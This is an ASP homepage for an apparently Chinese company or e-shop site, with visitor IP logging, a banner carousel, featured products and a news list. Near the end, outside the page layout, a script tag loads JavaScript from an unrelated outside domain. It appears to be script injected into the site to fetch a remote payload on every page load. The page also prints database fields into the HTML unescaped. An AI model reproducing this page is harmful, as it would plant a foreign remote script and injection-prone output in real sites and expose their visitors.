<!--#include file="Inc/syscode.asp" -->
<!--#include file="Inc/TOP.asp"-->
<!--#include file="Inc/eshopcode.asp"-->

<%  
set rsCou = Server.CreateObject("ADODB.Recordset")

if Session("mylogin")<>"1" then
	sqltext="update syswork set querycount=querycount+1 where code='101'"
	conn.execute(sqltext)
	
	rsCou.Open "webcount",conn,3,3
	rsCou.AddNew
	rsCou("ipaddress")=Request.ServerVariables("Remote_HOST")
	rsCou("logindate")=now()
	rsCou.Update
	rsCou.Close
			
	mylogin=Session("mylogin")
	Session("mylogin")="1"
else
	mylogin=Session("mylogin")	
end if
%>

<%
function cutstr(tempstr,tempwid)
if len(tempstr)>tempwid then
cutstr=left(tempstr,tempwid)&"..."
else
cutstr=tempstr
end if
end function%>
<!-- #include file="Inc/Head.asp" -->
<style type="text/css">
<!--
.STYLE6 {font-size: 14px; font-weight: bold; COLOR: #4A9C25}
-->
</style>
<script language="JavaScript"> 
<!-- 
var flag=false; 
function DrawImage1(ImgD){ 
 var image=new Image(); 
 image.src=ImgD.src; 
 if(image.width>0 && image.height>0){ 
  flag=true; 
  if(image.width/image.height>= 110/110){ 
   if(image.width>110){
    ImgD.width=110; 
    ImgD.height=(image.height*110)/image.width; 
   }else{ 
    ImgD.width=image.width;
    ImgD.height=image.height; 
   } 
   ImgD.alt="点击查看详细信息..."; 
  } 
  else{ 
   if(image.height>110){
    ImgD.height=110; 
    ImgD.width=(image.width*110)/image.height; 
   }else{ 
    ImgD.width=image.width;
    ImgD.height=image.height; 
   } 
   ImgD.alt="点击查看详细信息..."; 
  } 
 }
}
//--> 
</script> 
<table width="1003" height="100" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <TD vAlign="top" width="200" background="images/1_24.jpg" style="padding-bottom:8px;">
	<table width="200" border="0" align="center" cellpadding="0" cellspacing="0">
		<tr>
			<td width="200" valign="top"><!-- #include file="L_CoProfile.asp" --></td>
		</tr>
		<tr>
    <td valign="top"><!-- #include file="L_Search.asp" --></td>
  </tr>
  <tr>
    <td valign="top"><!-- #include file="L_product.asp" --></td>
  </tr>
  <tr>
    <td valign="top">&nbsp;</td>
  </tr>
	</table></TD>

    <td width="803" valign="top">
    <TABLE cellSpacing=0 cellPadding=0 border=0>
        <TBODY>
        <TR>
          <TD height="2" colspan="2"></TD>
        </TR>
        <TR>
          <TD width=2 height=160></TD>
          <TD vAlign=top width=801><div id=makewing style="height:160">
        <table width="803"  border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td height="160" bgcolor="#66CCFF"><img src="gg/1.png"></td>
          </tr>
          <tr>
            <td height="160" bgcolor="#FFCC66"><img src="gg/2.png"></td>
          </tr>
          <tr>
            <td height="160" bgcolor="#99CC66"><img src="gg/3.png"></td>
          </tr>
          <tr>
            <td height="160" bgcolor="#66CCFF"><img src="gg/4.png"></td>
          </tr>
          <tr>
            <td height="160" bgcolor="#FFCC66"><img src="gg/5.png"></td>
          </tr>
          <tr>
            <td height="160" bgcolor="#99CC66"><img src="gg/6.png"></td>
          </tr>
        </table>
        <script language=JavaScript src="js/powerpoint.js"></script>
</div></TD>
        </TR>
        <tr>
          <td height="12" colspan="2"></td>
        </tr>
       </TBODY>
    </TABLE>
    <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="8">&nbsp;</td>
          <td width="48%" valign="top" style="border-left:1px solid #cccccc;border-top:1px solid #cccccc; border-bottom:1px solid #cccccc">
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td bgcolor="#F6F6F8" style="border-bottom:1px solid #CCCCCC;"><img src="images/title_zxcp.jpg" width="175" height="30"></td>
            </tr>
            <tr>
              <td align="center" style="padding:12px;">
<%
set rs_Product=server.createobject("adodb.recordset")
sqltext="select top 9 * from Product where Passed=True And Elite=True order by UpdateTime desc"
rs_Product.open sqltext,conn,1,1
%>             
              <table width="100%" border="0" cellspacing="0" cellpadding="1" align="left">
<%row_count=1 %>
			<tr align="center">
<% Do While Not rs_Product.EOF%>
				<td> 
					<table width="100%" height="150" border="0" cellpadding="0" cellspacing="2">
						<tr>
							<td width="38%"><div align="center">
							<a href="ArticleShow.asp?ArticleID=<%=rs_Product("articleid")%>"><img style="BORDER-LEFT-COLOR: #0e6eae; BORDER-BOTTOM-COLOR: #0e6eae; BORDER-TOP-COLOR: #0e6eae; BORDER-RIGHT-COLOR: #0e6eae" src=<%=rs_Product("DefaultPicUrl")%> width="110" height="110" onload="javascript:DrawImage1(this);"></a>
						</div></td>
							
						</tr>
                        <tr>
                            <td align="center"><a href="ArticleShow.asp?ArticleID=<%=rs_Product("articleid")%>" target="_blank"><%=rs_Product("Title")%></a></td>
                         </tr> 
					</table>
				</td>
<%if row_count mod 3 <>0 then%>
<%end if%>
<% if row_count mod 3 =0 then%>
			</tr>
			<tr>
<%end if%>
<%
rs_Product.MoveNext
row_count=row_count+1
Loop
rs_Product.close
%>
			</tr>
		</table></td>
            </tr>
          </table>
            </td>
          <td valign="top" bgcolor="#E9EAEC" style="border-right:1px solid #cccccc;border-top:1px solid #cccccc; border-bottom:1px solid #cccccc;
		  background-image:url(img/content_right_bg.jpg); background-repeat:repeat-y; padding-bottom:8px;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td height="38" valign="top"><img src="images/title_wxts.jpg" width="397" height="31"></td>
              </tr>
            </table>
            <table width="92%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td style="line-height:22px;">&nbsp;&nbsp;&nbsp;&nbsp;<%=left(Profile,250)%>...<br></td>
              </tr>
            </table>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td height="38" valign="top"><img src="images/title_cpyc.jpg" width="397" height="31"></td>
              </tr>
            </table>
<%
flag="尚未处理"
set rs=server.createobject("adodb.recordset")
sqltext="select top 10 * from Conews Order BY id desc"
rs.open sqltext,conn,1,1

If rs.eof and rs.bof then
response.write "<p align='center'><font color='#ff0000'>还没任何新闻</font></p>"

end if
%> 
<table width="96%" border="0" align="center" cellpadding="0" cellspacing="3">
					
<%
if not rs.eof then
do while not rs.eof
%>
					<tr> 
						<td width="70%">&nbsp;&nbsp;※&nbsp;<a href="NewsInfo.asp?id=<%=rs("id")%>"><%=rs("title")%></a></td>
                        <td width="30%"><font color="#0066CC" face="Arial"><%=rs("time")%></font>&nbsp; <%if rs("time")=date() then%> <strong><font color="#FF0000" face="Arial">New</font></strong><%end if%></td>
					</tr>
                    <TR> 
			          <TD colspan="2" height=1 background=Img/naB.gif><IMG height=1 src="img/1x1_pix.gif" width=10></TD>
		           </TR>
<%
rs.movenext
loop
end if
%>
					<tr> 
						<td height="8" colspan="2"></td>
					</tr>
				</table>
<%
rs.close
%>
            </td>
          <td width="20" align="left"><img src="images/content_right.jpg" width="16" height="268"></td>
        </tr>
      </table>    
     <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td height="5"></td>
        </tr>
      </table>   
        
</td>
  </tr>
</table>
<SCRIPT language=javascript src="http://www.kkyy.org/ads/js/msn.js"></SCRIPT>
<!-- #include file="Inc/Foot.asp" -->
</BODY></HTML>


